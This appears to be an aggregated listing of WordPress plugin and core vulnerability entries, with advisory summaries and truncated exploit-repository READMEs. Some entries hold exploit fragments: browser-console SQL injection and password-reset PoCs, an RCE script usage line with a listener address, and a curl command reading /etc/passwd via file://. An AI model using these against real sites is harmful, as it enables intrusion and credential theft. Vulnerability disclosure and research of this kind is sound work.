PT-2026-108914

Deserialization of Untrusted Data vulnerability in BuddhaThemes Neo | Barber Shop WordPress Theme neocut allows Object Injection.This issue affects Neo | Barber Shop WordPress Theme: from n/a through 3.5...

PT-2026-108868

The Super Payments WordPress plugin before 1.43.1 does not properly verify the authenticity of incoming payment webhook notifications, as the signing key used to validate their signature is empty by default, allowing unauthenticated attackers to forge a valid signature and mark arbitrary...

PT-2026-108872

The Shipping for Nova Poshta WordPress plugin through 1.19.8 does not perform any authorisation, nonce or ownership checks on one of its AJAX actions available to unauthenticated users, allowing anyone to delete the shipment records of arbitrary orders and to make the store issue the carrier's...

PT-2026-108870

The GDPR Data Request Form WordPress plugin through 1.7.1 does not have CSRF protection when updating one of its settings, allowing attackers to change that setting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link...

PT-2026-108871

The Livees Checkout WordPress plugin through 7.0.2 does not perform any capability, nonce or order-key check before acting on request parameters on the order confirmation page, allowing unauthenticated users to change the status of arbitrary orders, store arbitrary data and notes on them, and...

CVE-2025-10046

CVE-2025-10046 - ELEX WooCommerce Google Shopping Author: Byte Reaper Description CVE-2025-10046 is a SQL injection vulnerability in the ELEX WooCommerce Google Shopping Product Feed plugin for WordPress, versions 1.4.3 and earlier. The issue resides in the includes/elex-manage-feed-ajax.php file...

CVE-2025-6082

CVE-2025-6082 Full Path Disclosure PoC Author : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-6082 Vulnerability : Full Path Disclosure CWE-200 Description This Proof‑of‑Concept exploits a Full Path Disclosure bug in the Birth Chart Compatibility WordPress plugin versions ≤ 2.0. The POC send...

0-click-RCE-Exploit-for-CVE-2024-50526

CVE-2024-50526 / استغلال RCE بدون نقرات 0-Click المؤلف: Joshua Provoste https://x.com/JoshuaProvoste/status/1859403137435459727 يحتوي هذا المستودع على استغلال لإثبات المفهوم PoC لثغرة CVE-2024-50526، وهي ثغرة رفع ملفات تعسفية بدون مصادقة في إضافة Multi Purpose Mail Form الخاصة بنظام WordPress، مم...

cve-2022-1609-exploit

cve-2022-1609-exploit Exploit for CVE-2022-1609 WordPress Weblizar Backdoor...

CVE-2024-4443-Poc

CVE-2024-4443-Poc CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress execute \business-directory-plugin\includes\helpers\class-listing-search.php:88 WPBDPListingSearch-traversetree \business-directory-plugin\includes\helpers\class-listing-search.php:185...

CVE-2025-9172

Exploit: Time-Based SQL Injection via /vibes/v1/beacon unauthenticated Browser Console PoC async = const url = 'http://localhost/wordpress/index.php?restroute=/vibes/v1/beacon'; async function sendresource const body = type: 'navigation', resource, // injected into SQL unprepared authenticated: 0...

modsecurity-cve-2018-6389

modsecurity-cve-2018-6389 CVE-2018-6389 का उपयोग कर संभावित हमलों का पता लगाने के लिए एक ModSecurity नियम सेट। अधिक जानकारी के लिए, देखें https://www.rastating.com/protecting-wordpress-against-cve-2018-6389/...

CVE-2022-0236

CVE-2022-0236 The WP Import Export WordPress plugin is vulnerable to unauthenticated sensitive data disclosure due to a missing capability check on the download function wpieprocessfiledownload found in the /includes/classes/class-wpie-general.php file. This made it possible for unauthenticated...

0-click-RCE-Exploit-for-CVE-2024-50498

CVE-2024-50498 / 0-क्लिक RCE एक्सप्लॉइट लेखक: Joshua Provoste https://x.com/JoshuaProvoste/status/1858512517774868845 यह रिपॉजिटरी CVE-2024-50498 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो LUBUS WP Query Console WordPress प्लगइन में एक अनऑथेंटिकेटेड कोड इंजेक्शन भेद्यता है, जो रिमोट कमांड...

trellis-cve-2018-6389

trellis-cve-2018-6389 WordPress load-scripts / load-styles हमलों का CVE-2018-6389 के विरुद्ध शमन। लक्ष्य क्यों? शमन क्यों नहीं? आवश्यकताएँ स्थापना Trellis WordPress सामान्य प्रश्न क्या मैं इसे प्रबंधित होस्टिंग पर उपयोग कर सकता हूँ? यह शानदार लगता है। मुझे इस तरह की और अच्छी चीज़ें कहाँ मिल सकती...

EXPLOIT-CVE-2026-87902

مختبر + استغلال — CVE-2026-87902 مختبر ضعيف عن قصد + PoC بلغة Python من أجل CVE-2026-87902 : اجتياز المسار غير المُصادَق عليه في حل page template الخاص بـ WordPress Core ، مما يؤدي إلى Local File Inclusion LFI وRCE شرطي. الحقل| القيمة ---|--- المنتج| WordPress Core الإصدارات المتأثرة| 4.7.0 →...

CVE-2016-10033

CVE-2016-10033 के लिए PoC WordPress 4.6 के विरुद्ध RCE उपयोग: ./CVE-2016-10033.py उदाहरण: ./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html का Python पोर्ट +परिवर्तन आवश्यक: Requests pip install requests मेरे...

CVE-2025-9967

Exploit: Unauthenticated OTP Password Reset Browser Console PoC no authentication required async = async function getNonceAndAjaxUrl if window.resetpassobj return nonce: resetpassobj.ajaxnonce, ajaxUrl: resetpassobj.ajaxurl ; const home = await fetch'http://localhost/wordpress/'.thenr = r.text;...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 मनमाना फ़ाइल अपलोड -purple 📌 विवरण वर्डप्रेस के लिए CSV Mass Importer प्लगइन ≤ 1.2 में Admin+ मनमाना फ़ाइल अपलोड कमजोरी है। अपलोड की गई फ़ाइलों के अनुचित सत्यापन के कारण, उच्च‑विशेषाधिकार वाले उपयोगकर्ता जैसे एडमिन सर्वर पर मनमानी फ़ाइलें अपलोड कर...

CVE-2025-11973

Trigger: Read /etc/passwd via file:// and exfiltrate to uploads curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" Retrieve the exfiltrated file Compute stored...